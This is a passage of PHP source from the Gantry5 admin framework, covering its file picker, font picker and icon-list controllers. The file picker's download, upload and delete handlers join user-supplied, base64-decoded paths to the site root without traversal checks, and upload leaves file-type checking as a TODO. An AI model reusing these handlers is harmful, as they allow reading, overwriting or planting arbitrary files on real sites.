'directory', implode('", "', $drives)), 404);
}
$folders = [];
$active = [];
$index = 0;
$activeFallback = '';
// iterating the folder and collecting subfolders and files
foreach ($bookmarks as $key => $bookmark) {
$folders[$key] = [];
if (!$index) {
$activeFallback = $key;
}
foreach ($bookmark as $folder) {
$isStream = $this->isStream($folder);
if ($isStream) {
unset($bookmarks[$key]);
$iterator = new \IteratorIterator($folder);
$folder = $key;
} else {
$iterator = new \DirectoryIterator($this->base .
'/' . ltrim($folder, '/'));
}
$folders[$key][$folder] = new \ArrayObject();
if (!$index && !$this->value) {
$active[] = $folder;
}
/** @var \SplFileInfo $info */
foreach ($iterator as $info) {
// no dot files nor files beginning with dot
if ($info->isDot() ||
substr($info->getFilename(), 0, 1) == '.') {
continue;
}
$file = new \stdClass();
$this->attachData($file, $info, $folder);
if ($file->dir) {
if ($file->pathname == dirname($this->value))
{
$active[] = $file->pathname;
}
$folders[$key][$folder]->append($file);
} else {
/*if ($filter && !preg_match("/"
. $filter . "/i", $file->filename)) {
continue;
}
if ((!$index && !$this->value) ||
(in_array(dirname($file->pathname), $active))) {
$files->append($file);
}*/
}
}
if ($isStream) {
$bookmarks[$key][] = $key;
}
$index++;
}
}
if (!count($active)) {
$active[] = $activeFallback;
}
$lastItem = end($active);
$files = $this->listFiles($lastItem);
$response = [];
reset($active);
if (!$subfolder) {
$response['html'] = $this->render(
'@gantry-admin/ajax/filepicker.html.twig', [
'active' => $active,
'base' => $this->base,
'bookmarks' => $bookmarks,
'folders' => $folders,
'files' => $files,
'filter' => $this->filter,
'value' => $this->value
]
);
} else {
$response['subfolder'] =
!$folders[$key][$folder]->count()
? false
: $this->render(
'@gantry-admin/ajax/filepicker/subfolders.html.twig',
['folder' => $folders[$key][$folder]]
);
$response['files'] = $this->render(
'@gantry-admin/ajax/filepicker/files.html.twig',
['files' => $files, 'value' =>
$this->value]
);
}
return new JsonResponse($response);
}
protected function attachData(&$node, $iteration, $folder)
{
foreach (
['getFilename', 'getExtension',
'getPerms', 'getMTime', 'getBasename',
'getPathname', 'getSize', 'getType',
'isReadable', 'isWritable',
'isDir', 'isFile'] as $method
) {
$keyMethod =
strtolower(preg_replace("/^(is|get)/", '', $method));
$node->{$keyMethod} = $iteration->{$method}();
if ($method == 'getPathname') {
$node->{$keyMethod} = $this->isStream($folder) ?
$iteration->getUrl() : Folder::getRelativePath($node->{$keyMethod});
} else {
if ($method == 'getExtension') {
$node->isImage =
in_array(strtolower($node->{$keyMethod}), ['jpg',
'jpeg', 'png', 'gif', 'ico',
'svg', 'bmp', 'webp']);
}
}
}
}
protected function listFiles($folder)
{
$isStream = $this->isStream($folder);
$locator = $this->container['locator'];
$iterator = $isStream ? new
\IteratorIterator($locator->getIterator($folder)) : new
\DirectoryIterator($this->base . '/' . ltrim($folder,
'/'));
$files = new \ArrayObject();
/** @var \SplFileInfo $info */
foreach ($iterator as $info) {
// no dot files nor files beginning with dot
if ($info->isDot() || substr($info->getFilename(), 0, 1)
== '.') {
continue;
}
$file = new \stdClass();
$this->attachData($file, $info, $folder);
if (!$file->dir) {
if ($this->filter && !preg_match("/" .
$this->filter . "/i", $file->filename)) {
continue;
}
$file->isInCustom = false;
if ($isStream) {
$stream = explode('://', $folder);
$stream = array_shift($stream) .
'://';
$customLocation = $locator->findResource($stream,
true, true);
if (substr($info->getPathname(), 0,
strlen($customLocation)) === $customLocation) {
$file->isInCustom = true;
}
}
$files->append($file);
}
}
$files->asort();
return $files;
}
public function subfolder()
{
$response = [];
$response['html'] = 'subfolder';
return new JsonResponse($response);
}
public function displayFile()
{
$path = implode('/', func_get_args());
$this->doDownload($path, false);
}
protected function doDownload($path, $download)
{
if (!$path) {
throw new \RuntimeException('No file specified',
400);
}
// TODO: handle streams
$targetPath = GANTRY5_ROOT . '/' . $path;
if (!file_exists($targetPath)) {
throw new \RuntimeException(sprintf('File not found:
%s', $path), 404);
}
$hash = md5_file($path);
// Handle 304 Not Modified
if
(isset($this->request->server['HTTP_IF_NONE_MATCH'])) {
$etag =
stripslashes($this->request->server['HTTP_IF_NONE_MATCH']);
if ($etag == $hash) {
header('Last-Modified: ' . gmdate('D, d M Y
H:i:s', filemtime($path)) . ' GMT', true, 304);
// Give fast response.
flush();
exit();
}
}
// Set file headers.
header('ETag: ' . $hash);
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y
H:i:s', filemtime($path)) . ' GMT');
// Get the image file information.
$info = getimagesize($path);
$isImage = (bool)$info;
if (!$download && $isImage) {
$fileType = $info['mime'];
// Force re-validate.
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
header('Content-type: ' . $fileType);
header('Content-Disposition: inline; filename="'
. basename($path) . '"');
} else {
// Force file download.
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
header('Content-Description: File Transfer');
header('Content-Type: application/force-download');
header('Content-Type: application/octet-stream');
header('Content-Type: application/download');
header('Content-Disposition: attachment;
filename="' . basename($path) . '"');
}
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
flush();
// Output the file contents.
@readfile($path);
flush();
exit();
}
public function downloadFile()
{
$path = implode('/', func_get_args());
$this->doDownload($path, true);
}
public function upload()
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$path = implode('/', func_get_args());
if (base64_decode($path, true) !== false) {
$path = urldecode(base64_decode($path));
}
$stream = explode('://', $path);
$scheme = $stream[0];
$isStream = $locator->schemeExists($scheme);
if ($isStream) {
$targetPath = dirname($locator->findResource($path, true,
true));
} else {
$targetPath = dirname(GANTRY5_ROOT . '/' . $path);
}
if (!isset($_FILES['file']['error']) ||
is_array($_FILES['file']['error'])) {
throw new \RuntimeException('No file sent', 400);
}
// Check $_FILES['file']['error'] value.
switch ($_FILES['file']['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
throw new \RuntimeException('No file sent', 400);
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new \RuntimeException('Exceeded filesize
limit.', 400);
default:
throw new \RuntimeException('Unkown errors',
400);
}
$maxSize =
$this->returnBytes(min(ini_get('post_max_size'),
ini_get('upload_max_filesize')));
if ($_FILES['file']['size'] > $maxSize) {
throw new \RuntimeException('Exceeded filesize limit. File
is ' . $_FILES['file']['size'] . ', maximum
allowed is ' . $maxSize, 400);
}
// Check extension
$fileParts = pathinfo($_FILES['file']['name']);
$fileExt = strtolower($fileParts['extension']);
// TODO: check if download is of supported type.
// Upload it
$destination = sprintf('%s/%s', $targetPath,
$_FILES['file']['name']);
$destination = preg_replace('#//#', '/',
$destination);
Folder::create($targetPath);
if
(!move_uploaded_file($_FILES['file']['tmp_name'],
$destination)) {
throw new \RuntimeException('Failed to move uploaded
file.', 500);
}
$finfo = new \stdClass();
$this->attachData($finfo, new \SplFileInfo($destination),
$targetPath);
return new JsonResponse(['success' => 'File
uploaded successfully', 'finfo' => $finfo,
'url' => $path]);
}
protected function returnBytes($size_str)
{
switch (strtolower(substr($size_str, -1))) {
case 'm':
case 'mb':
return (int)$size_str * 1048576;
case 'k':
case 'kb':
return (int)$size_str * 1024;
case 'g':
case 'gb':
return (int)$size_str * 1073741824;
default:
return $size_str;
}
}
public function delete()
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$path = implode('/', func_get_args());
if (base64_decode($path, true) !== false) {
$path = urldecode(base64_decode($path));
}
$stream = explode('://', $path);
$scheme = $stream[0];
if (!$path) {
throw new \RuntimeException('No file specified for
delete', 400);
}
$isStream = $locator->schemeExists($scheme);
if ($isStream) {
$targetPath = $locator->findResource($path, true, true);
} else {
$targetPath = GANTRY5_ROOT . '/' . $path;
}
$file = File::instance($targetPath);
if (!$file->exists()) {
throw new \RuntimeException(sprintf('File not found:
%s', $targetPath), 404);
}
try {
$file->delete();
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('File could not be
deleted: %s', $targetPath), 500);
}
$file->free();
return new JsonResponse(['success', 'File deleted:
' . $targetPath]);
}
private function isStream($folder)
{
return $folder instanceof UniformResourceIterator ||
strpos($folder, '://');
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\File\JsonFile;
class Fontpicker extends JsonController
{
protected $google_fonts =
'gantry-admin://js/google-fonts.json';
protected $httpVerbs = [
'GET' => [
'/' => 'index'
]
];
public function index()
{
$this->params['fonts'] = $this->loadGoogleFonts();
$this->params['variantsMap'] =
$this->variantsMap();
$response = [
'html' =>
$this->render('@gantry-admin/ajax/fontpicker.html.twig',
$this->params)
];
return new JsonResponse($response);
}
public function loadGoogleFonts()
{
$data = new \stdClass();
$file = JsonFile::instance($this->google_fonts);
$fonts = $file->content()['items'];
$file->free();
$data->categories = [];
$data->subsets = [];
// create list of unique categories and subsets
array_walk($fonts, function (&$item) use ($data) {
if (!in_array($item->category, $data->categories)) {
$data->categories[] = $item->category;
}
$data->subsets = array_unique(array_merge($data->subsets,
$item->subsets));
});
asort($data->categories);
asort($data->subsets);
$data->families = $fonts;
$data->local_families = $this->loadLocalFonts();
if (count($data->local_families)) {
array_unshift($data->categories, 'local-fonts');
}
$data->count = count($data->families);
return $data;
}
public function loadLocalFonts()
{
$local_fonts =
$this->container['theme']->details()->get('configuration.fonts',
[]);
$map = [];
foreach ($local_fonts as $name => $variants) {
if (is_array($variants)) {
$list = array_keys($variants);
} else {
$list = ['regular'];
}
$map[] = ['family' => $name, 'variants'
=> $list, 'category' => 'local-fonts'];
}
return $map;
}
protected function variantsMap()
{
return [
'100' => 'Thin 100',
'100italic' => 'Thin 100 Italic',
'200' => 'Extra-Light 200',
'200italic' => 'Extra-Light 200 Italic',
'300' => 'Light 300',
'300italic' => 'Light 300 Italic',
'400' => 'Normal 400',
'regular' => 'Normal 400',
'400italic' => 'Normal 400 Italic',
'italic' => 'Normal 400 Italic',
'500' => 'Medium 500',
'500italic' => 'Medium 500 Italic',
'600' => 'Semi-Bold 600',
'600italic' => 'Semi-Bold 600 Italic',
'700' => 'Bold 700',
'700italic' => 'Bold 700 Italic',
'800' => 'Extra-Bold 800',
'800italic' => 'Extra-Bold 800 Italic',
'900' => 'Ultra-Bold 900',
'900italic' => 'Ultra-Bold 900 Italic'
];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
class Icons extends JsonController
{
public function index()
{
$response = [];
// Font Awesome Icons list [v4.7.0 - 730 icons]
// NOTE: To get an updated list of icons:
// 1. Go to: http://fontawesome.io/icons/
// 2. Open Console in Deveveloper Tools
// 3. Type this JS snippet: var list = [];
document.querySelectorAll('.fontawesome-icon-list
i').forEach(function(icon, index){ var name =
icon.className.replace(/^fa\s/, ''); list.push(name); }); var
output = '$list = ["' + list.join('",
"') + '"];'; console.log(output); copy(output);
console.info('The output has been copied to the clipboard, you can now
CMD + V / CTRL + V to update the icons variable');
// 4. Press Enter and replace the line below
$list = ["fa-address-book",
"fa-address-book-o", "fa-address-card",
"fa-address-card-o", "fa-bandcamp",
"fa-bath", "fa-bathtub",
"fa-drivers-license", "fa-drivers-license-o",
"fa-eercast", "fa-envelope-open",
"fa-envelope-open-o", "fa-etsy",
"fa-free-code-camp", "fa-grav",
"fa-handshake-o", "fa-id-badge",
"fa-id-card", "fa-id-card-o", "fa-imdb",
"fa-linode", "fa-meetup", "fa-microchip",
"fa-podcast", "fa-quora", "fa-ravelry",
"fa-s15", "fa-shower", "fa-snowflake-o",
"fa-superpowers", "fa-telegram",
"fa-thermometer", "fa-thermometer-0",
"fa-thermometer-1", "fa-thermometer-2",
"fa-thermometer-3", "fa-thermometer-4",
"fa-thermometer-empty", "fa-thermometer-full",
"fa-thermometer-half", "fa-thermometer-quarter",
"fa-thermometer-three-quarters", "fa-times-rectangle",
"fa-times-rectangle-o", "fa-user-circle",
"fa-user-circle-o", "fa-user-o", "fa-vcard",
"fa-vcard-o", "fa-window-close",
"fa-window-close-o", "fa-window-maximize",
"fa-window-minimize", "fa-window-restore",
"fa-wpexplorer", "fa-address-book",
"fa-address-book-o", "fa-address-card",
"fa-address-card-o", "fa-adjust",
"fa-american-sign-language-interpreting", "fa-anchor",
"fa-archive", "fa-area-chart", "fa-arrows",
"fa-arrows-h", "fa-arrows-v",
"fa-asl-interpreting",
"fa-assistive-listening-systems", "fa-asterisk",
"fa-at", "fa-audio-description",
"fa-automobile", "fa-balance-scale",
"fa-ban", "fa-bank", "fa-bar-chart",
"fa-bar-chart-o", "fa-barcode", "fa-bars",
"fa-bath", "fa-bathtub", "fa-battery",
"fa-battery-0", "fa-battery-1",
"fa-battery-2", "fa-battery-3",
"fa-battery-4", "fa-battery-empty",
"fa-battery-full", "fa-battery-half",
"fa-battery-quarter", "fa-battery-three-quarters",
"fa-bed", "fa-beer", "fa-bell",
"fa-bell-o", "fa-bell-slash",
"fa-bell-slash-o", "fa-bicycle",
"fa-binoculars", "fa-birthday-cake",
"fa-blind", "fa-bluetooth", "fa-bluetooth-b",
"fa-bolt", "fa-bomb", "fa-book",
"fa-bookmark", "fa-bookmark-o", "fa-braille",
"fa-briefcase", "fa-bug", "fa-building",
"fa-building-o", "fa-bullhorn",
"fa-bullseye", "fa-bus", "fa-cab",
"fa-calculator", "fa-calendar",
"fa-calendar-check-o", "fa-calendar-minus-o",
"fa-calendar-o", "fa-calendar-plus-o",
"fa-calendar-times-o", "fa-camera",
"fa-camera-retro", "fa-car",
"fa-caret-square-o-down", "fa-caret-square-o-left",
"fa-caret-square-o-right", "fa-caret-square-o-up",
"fa-cart-arrow-down", "fa-cart-plus",
"fa-cc", "fa-certificate", "fa-check",
"fa-check-circle", "fa-check-circle-o",
"fa-check-square", "fa-check-square-o",
"fa-child", "fa-circle", "fa-circle-o",
"fa-circle-o-notch", "fa-circle-thin",
"fa-clock-o", "fa-clone", "fa-close",
"fa-cloud", "fa-cloud-download",
"fa-cloud-upload", "fa-code", "fa-code-fork",
"fa-coffee", "fa-cog", "fa-cogs",
"fa-comment", "fa-comment-o",
"fa-commenting", "fa-commenting-o",
"fa-comments", "fa-comments-o", "fa-compass",
"fa-copyright", "fa-creative-commons",
"fa-credit-card", "fa-credit-card-alt",
"fa-crop", "fa-crosshairs", "fa-cube",
"fa-cubes", "fa-cutlery", "fa-dashboard",
"fa-database", "fa-deaf", "fa-deafness",
"fa-desktop", "fa-diamond",
"fa-dot-circle-o", "fa-download",
"fa-drivers-license", "fa-drivers-license-o",
"fa-edit", "fa-ellipsis-h", "fa-ellipsis-v",
"fa-envelope", "fa-envelope-o",
"fa-envelope-open", "fa-envelope-open-o",
"fa-envelope-square", "fa-eraser",
"fa-exchange", "fa-exclamation",
"fa-exclamation-circle", "fa-exclamation-triangle",
"fa-external-link", "fa-external-link-square",
"fa-eye", "fa-eye-slash", "fa-eyedropper",
"fa-fax", "fa-feed", "fa-female",
"fa-fighter-jet", "fa-file-archive-o",
"fa-file-audio-o", "fa-file-code-o",
"fa-file-excel-o", "fa-file-image-o",
"fa-file-movie-o", "fa-file-pdf-o",
"fa-file-photo-o", "fa-file-picture-o",
"fa-file-powerpoint-o", "fa-file-sound-o",
"fa-file-video-o", "fa-file-word-o",
"fa-file-zip-o", "fa-film", "fa-filter",
"fa-fire", "fa-fire-extinguisher", "fa-flag",
"fa-flag-checkered", "fa-flag-o", "fa-flash",
"fa-flask", "fa-folder", "fa-folder-o",
"fa-folder-open", "fa-folder-open-o",
"fa-frown-o", "fa-futbol-o", "fa-gamepad",
"fa-gavel", "fa-gear", "fa-gears",
"fa-gift", "fa-glass", "fa-globe",
"fa-graduation-cap", "fa-group",
"fa-hand-grab-o", "fa-hand-lizard-o",
"fa-hand-paper-o", "fa-hand-peace-o",
"fa-hand-pointer-o", "fa-hand-rock-o",
"fa-hand-scissors-o", "fa-hand-spock-o",
"fa-hand-stop-o", "fa-handshake-o",
"fa-hard-of-hearing", "fa-hashtag",
"fa-hdd-o", "fa-headphones", "fa-heart",
"fa-heart-o", "fa-heartbeat", "fa-history",
"fa-home", "fa-hotel", "fa-hourglass",
"fa-hourglass-1", "fa-hourglass-2",
"fa-hourglass-3", "fa-hourglass-end",
"fa-hourglass-half", "fa-hourglass-o",
"fa-hourglass-start", "fa-i-cursor",
"fa-id-badge", "fa-id-card", "fa-id-card-o",
"fa-image", "fa-inbox", "fa-industry",
"fa-info", "fa-info-circle",
"fa-institution", "fa-key", "fa-keyboard-o",
"fa-language", "fa-laptop", "fa-leaf",
"fa-legal", "fa-lemon-o", "fa-level-down",
"fa-level-up", "fa-life-bouy",
"fa-life-buoy", "fa-life-ring",
"fa-life-saver", "fa-lightbulb-o",
"fa-line-chart", "fa-location-arrow",
"fa-lock", "fa-low-vision", "fa-magic",
"fa-magnet", "fa-mail-forward",
"fa-mail-reply", "fa-mail-reply-all",
"fa-male", "fa-map", "fa-map-marker",
"fa-map-o", "fa-map-pin", "fa-map-signs",
"fa-meh-o", "fa-microchip", "fa-microphone",
"fa-microphone-slash", "fa-minus",
"fa-minus-circle", "fa-minus-square",
"fa-minus-square-o", "fa-mobile",
"fa-mobile-phone", "fa-money", "fa-moon-o",
"fa-mortar-board", "fa-motorcycle",
"fa-mouse-pointer", "fa-music", "fa-navicon",
"fa-newspaper-o", "fa-object-group",
"fa-object-ungroup", "fa-paint-brush",
"fa-paper-plane", "fa-paper-plane-o",
"fa-paw", "fa-pencil", "fa-pencil-square",
"fa-pencil-square-o", "fa-percent",
"fa-phone", "fa-phone-square", "fa-photo",
"fa-picture-o", "fa-pie-chart", "fa-plane",
"fa-plug", "fa-plus", "fa-plus-circle",
"fa-plus-square", "fa-plus-square-o",
"fa-podcast", "fa-power-off", "fa-print",
"fa-puzzle-piece", "fa-qrcode",
"fa-question", "fa-question-circle",
"fa-question-circle-o", "fa-quote-left",
"fa-quote-right", "fa-random", "fa-recycle",
"fa-refresh", "fa-registered", "fa-remove",
"fa-reorder", "fa-reply", "fa-reply-all",
"fa-retweet", "fa-road", "fa-rocket",
"fa-rss", "fa-rss-square", "fa-s15",
"fa-search", "fa-search-minus",
"fa-search-plus", "fa-send", "fa-send-o",
"fa-server", "fa-share", "fa-share-alt",
"fa-share-alt-square", "fa-share-square",
"fa-share-square-o", "fa-shield", "fa-ship",
"fa-shopping-bag", "fa-shopping-basket",
"fa-shopping-cart", "fa-shower",
"fa-sign-in", "fa-sign-language",
"fa-sign-out", "fa-signal", "fa-signing",
"fa-sitemap", "fa-sliders", "fa-smile-o",
"fa-snowflake-o", "fa-soccer-ball-o",
"fa-sort", "fa-sort-alpha-asc",
"fa-sort-alpha-desc", "fa-sort-amount-asc",
"fa-sort-amount-desc", "fa-sort-asc",
"fa-sort-desc", "fa-sort-down",
"fa-sort-numeric-asc", "fa-sort-numeric-desc",
"fa-sort-up", "fa-space-shuttle",
"fa-spinner", "fa-spoon", "fa-square",
"fa-square-o", "fa-star", "fa-star-half",
"fa-star-half-empty", "fa-star-half-full",
"fa-star-half-o", "fa-star-o",
"fa-sticky-note", "fa-sticky-note-o",
"fa-street-view", "fa-suitcase", "fa-sun-o",
"fa-support", "fa-tablet", "fa-tachometer",
"fa-tag", "fa-tags", "fa-tasks",
"fa-taxi", "fa-television", "fa-terminal",
"fa-thermometer", "fa-thermometer-0",
"fa-thermometer-1", "fa-thermometer-2",
"fa-thermometer-3", "fa-thermometer-4",
"fa-thermometer-empty", "fa-thermometer-full",
"fa-thermometer-half", "fa-thermometer-quarter",
"fa-thermometer-three-quarters", "fa-thumb-tack",
"fa-thumbs-down", "fa-thumbs-o-down",
"fa-thumbs-o-up", "fa-thumbs-up",
"fa-ticket", "fa-times", "fa-times-circle",
"fa-times-circle-o", "fa-times-rectangle",
"fa-times-rectangle-o", "fa-tint",
"fa-toggle-down", "fa-toggle-left",
"fa-toggle-off", "fa-toggle-on",
"fa-toggle-right", "fa-toggle-up",
"fa-trademark", "fa-trash", "fa-trash-o",
"fa-tree", "fa-trophy", "fa-truck",
"fa-tty", "fa-tv", "fa-umbrella",
"fa-universal-access", "fa-university",
"fa-unlock", "fa-unlock-alt", "fa-unsorted",
"fa-upload", "fa-user", "fa-user-circle",
"fa-user-circle-o", "fa-user-o",
"fa-user-plus", "fa-user-secret",
"fa-user-times", "fa-users", "fa-vcard",
"fa-vcard-o", "fa-video-camera",
"fa-volume-control-phone", "fa-volume-down",
"fa-volume-off", "fa-volume-up",
"fa-warning", "fa-wheelchair",
"fa-wheelchair-alt", "fa-wifi",
"fa-window-close", "fa-window-close-o",
"fa-window-maximize", "fa-window-minimize",
"fa-window-restore", "fa-wrench",
"fa-american-sign-language-interpreting",
"fa-asl-interpreting",
"fa-assistive-listening-systems",
"fa-audio-description", "fa-blind",
"fa-braille", "fa-cc", "fa-deaf",
"fa-deafness", "fa-hard-of-hearing",
"fa-low-vision", "fa-question-circle-o",
"fa-sign-language", "fa-signing", "fa-tty",
"fa-universal-access", "fa-volume-control-phone",
"fa-wheelchair", "fa-wheelchair-alt",
"fa-hand-grab-o", "fa-hand-lizard-o",
"fa-hand-o-down", "fa-hand-o-left",
"fa-hand-o-right", "fa-hand-o-up",
"fa-hand-paper-o", "fa-hand-peace-o",
"fa-hand-pointer-o", "fa-hand-rock-o",
"fa-hand-scissors-o", "fa-hand-spock-o",
"fa-hand-stop-o", "fa-thumbs-down",
"fa-thumbs-o-down", "fa-thumbs-o-up",
"fa-thumbs-up", "fa-ambulance",
"fa-automobile", "fa-bicycle", "fa-bus",
"fa-cab", "fa-car", "fa-fighter-jet",
"fa-motorcycle", "fa-plane", "fa-rocket",
"fa-ship", "fa-space-shuttle", "fa-subway",
"fa-taxi", "fa-train", "fa-truck",
"fa-wheelchair", "fa-wheelchair-alt",
"fa-genderless", "fa-intersex", "fa-mars",
"fa-mars-double", "fa-mars-stroke",
"fa-mars-stroke-h", "fa-mars-stroke-v",
"fa-mercury", "fa-neuter", "fa-transgender",
"fa-transgender-alt", "fa-venus",
"fa-venus-double", "fa-venus-mars",
"fa-file", "fa-file-archive-o",
"fa-file-audio-o", "fa-file-code-o",
"fa-file-excel-o", "fa-file-image-o",
"fa-file-movie-o", "fa-file-o",
"fa-file-pdf-o", "fa-file-photo-o",
"fa-file-picture-o", "fa-file-powerpoint-o",
"fa-file-sound-o", "fa-file-text",
"fa-file-text-o", "fa-file-video-o",
"fa-file-word-o", "fa-file-zip-o",
"fa-circle-o-notch", "fa-cog", "fa-gear",
"fa-refresh", "fa-spinner",
"fa-check-square", "fa-check-square-o",
"fa-circle", "fa-circle-o",
"fa-dot-circle-o", "fa-minus-square",
"fa-minus-square-o", "fa-plus-square",
"fa-plus-square-o", "fa-square",
"fa-square-o", "fa-cc-amex",
"fa-cc-diners-club", "fa-cc-discover",
"fa-cc-jcb", "fa-cc-mastercard",
"fa-cc-paypal", "fa-cc-stripe", "fa-cc-visa",
"fa-credit-card", "fa-credit-card-alt",
"fa-google-wallet", "fa-paypal",
"fa-area-chart", "fa-bar-chart",
"fa-bar-chart-o", "fa-line-chart",
"fa-pie-chart", "fa-bitcoin", "fa-btc",
"fa-cny", "fa-dollar", "fa-eur",
"fa-euro", "fa-gbp", "fa-gg",
"fa-gg-circle", "fa-ils", "fa-inr",
"fa-jpy", "fa-krw", "fa-money",
"fa-rmb", "fa-rouble", "fa-rub",
"fa-ruble", "fa-rupee", "fa-shekel",
"fa-sheqel", "fa-try", "fa-turkish-lira",
"fa-usd", "fa-won", "fa-yen",
"fa-align-center", "fa-align-justify",
"fa-align-left", "fa-align-right", "fa-bold",
"fa-chain", "fa-chain-broken",
"fa-clipboard", "fa-columns", "fa-copy",
"fa-cut", "fa-dedent", "fa-eraser",
"fa-file", "fa-file-o", "fa-file-text",
"fa-file-text-o", "fa-files-o",
"fa-floppy-o", "fa-font", "fa-header",
"fa-indent", "fa-italic", "fa-link",
"fa-list", "fa-list-alt", "fa-list-ol",
"fa-list-ul", "fa-outdent", "fa-paperclip",
"fa-paragraph", "fa-paste", "fa-repeat",
"fa-rotate-left", "fa-rotate-right",
"fa-save", "fa-scissors", "fa-strikethrough",
"fa-subscript", "fa-superscript", "fa-table",
"fa-text-height", "fa-text-width", "fa-th",
"fa-th-large", "fa-th-list", "fa-underline",
"fa-undo", "fa-unlink",
"fa-angle-double-down", "fa-angle-double-left",
"fa-angle-double-right", "fa-angle-double-up",
"fa-angle-down", "fa-angle-left",
"fa-angle-right", "fa-angle-up",
"fa-arrow-circle-down", "fa-arrow-circle-left",
"fa-arrow-circle-o-down", "fa-arrow-circle-o-left",
"fa-arrow-circle-o-right", "fa-arrow-circle-o-up",
"fa-arrow-circle-right", "fa-arrow-circle-up",
"fa-arrow-down", "fa-arrow-left",
"fa-arrow-right", "fa-arrow-up", "fa-arrows",
"fa-arrows-alt", "fa-arrows-h",
"fa-arrows-v", "fa-caret-down",
"fa-caret-left", "fa-caret-right",
"fa-caret-square-o-down", "fa-caret-square-o-left",
"fa-caret-square-o-right", "fa-caret-square-o-up",
"fa-caret-up", "fa-chevron-circle-down",
"fa-chevron-circle-left", "fa-chevron-circle-right",
"fa-chevron-circle-up", "fa-chevron-down",
"fa-chevron-left", "fa-chevron-right",
"fa-chevron-up", "fa-exchange",
"fa-hand-o-down", "fa-hand-o-left",
"fa-hand-o-right", "fa-hand-o-up",
"fa-long-arrow-down", "fa-long-arrow-left",
"fa-long-arrow-right", "fa-long-arrow-up",
"fa-toggle-down", "fa-toggle-left",
"fa-toggle-right", "fa-toggle-up",
"fa-arrows-alt", "fa-backward",
"fa-compress", "fa-eject", "fa-expand",
"fa-fast-backward", "fa-fast-forward",
"fa-forward", "fa-pause", "fa-pause-circle",
"fa-pause-circle-o", "fa-play",
"fa-play-circle", "fa-play-circle-o",
"fa-random", "fa-step-backward",
"fa-step-forward", "fa-stop",
"fa-stop-circle", "fa-stop-circle-o",
"fa-youtube-play", "fa-500px", "fa-adn",
"fa-amazon", "fa-android", "fa-angellist",
"fa-apple", "fa-bandcamp", "fa-behance",
"fa-behance-square", "fa-bitbucket",
"fa-bitbucket-square", "fa-bitcoin",
"fa-black-tie", "fa-bluetooth",
"fa-bluetooth-b", "fa-btc", "fa-buysellads",
"fa-cc-amex", "fa-cc-diners-club",
"fa-cc-discover", "fa-cc-jcb",
"fa-cc-mastercard", "fa-cc-paypal",
"fa-cc-stripe", "fa-cc-visa", "fa-chrome",
"fa-codepen", "fa-codiepie",
"fa-connectdevelop", "fa-contao", "fa-css3",
"fa-dashcube", "fa-delicious",
"fa-deviantart", "fa-digg", "fa-dribbble",
"fa-dropbox", "fa-drupal", "fa-edge",
"fa-eercast", "fa-empire", "fa-envira",
"fa-etsy", "fa-expeditedssl", "fa-fa",
"fa-facebook", "fa-facebook-f",
"fa-facebook-official", "fa-facebook-square",
"fa-firefox", "fa-first-order", "fa-flickr",
"fa-font-awesome", "fa-fonticons",
"fa-fort-awesome", "fa-forumbee",
"fa-foursquare", "fa-free-code-camp",
"fa-ge", "fa-get-pocket", "fa-gg",
"fa-gg-circle", "fa-git", "fa-git-square",
"fa-github", "fa-github-alt",
"fa-github-square", "fa-gitlab", "fa-gittip",
"fa-glide", "fa-glide-g", "fa-google",
"fa-google-plus", "fa-google-plus-circle",
"fa-google-plus-official", "fa-google-plus-square",
"fa-google-wallet", "fa-gratipay", "fa-grav",
"fa-hacker-news", "fa-houzz", "fa-html5",
"fa-imdb", "fa-instagram",
"fa-internet-explorer", "fa-ioxhost",
"fa-joomla", "fa-jsfiddle", "fa-lastfm",
"fa-lastfm-square", "fa-leanpub",
"fa-linkedin", "fa-linkedin-square",
"fa-linode", "fa-linux", "fa-maxcdn",
"fa-meanpath", "fa-medium", "fa-meetup",
"fa-mixcloud", "fa-modx", "fa-odnoklassniki",
"fa-odnoklassniki-square", "fa-opencart",
"fa-openid", "fa-opera", "fa-optin-monster",
"fa-pagelines", "fa-paypal", "fa-pied-piper",
"fa-pied-piper-alt", "fa-pied-piper-pp",
"fa-pinterest", "fa-pinterest-p",
"fa-pinterest-square", "fa-product-hunt",
"fa-qq", "fa-quora", "fa-ra",
"fa-ravelry", "fa-rebel", "fa-reddit",
"fa-reddit-alien", "fa-reddit-square",
"fa-renren", "fa-resistance", "fa-safari",
"fa-scribd", "fa-sellsy", "fa-share-alt",
"fa-share-alt-square", "fa-shirtsinbulk",
"fa-simplybuilt", "fa-skyatlas", "fa-skype",
"fa-slack", "fa-slideshare", "fa-snapchat",
"fa-snapchat-ghost", "fa-snapchat-square",
"fa-soundcloud", "fa-spotify",
"fa-stack-exchange", "fa-stack-overflow",
"fa-steam", "fa-steam-square",
"fa-stumbleupon", "fa-stumbleupon-circle",
"fa-superpowers", "fa-telegram",
"fa-tencent-weibo", "fa-themeisle",
"fa-trello", "fa-tripadvisor", "fa-tumblr",
"fa-tumblr-square", "fa-twitch",
"fa-twitter", "fa-twitter-square", "fa-usb",
"fa-viacoin", "fa-viadeo",
"fa-viadeo-square", "fa-vimeo",
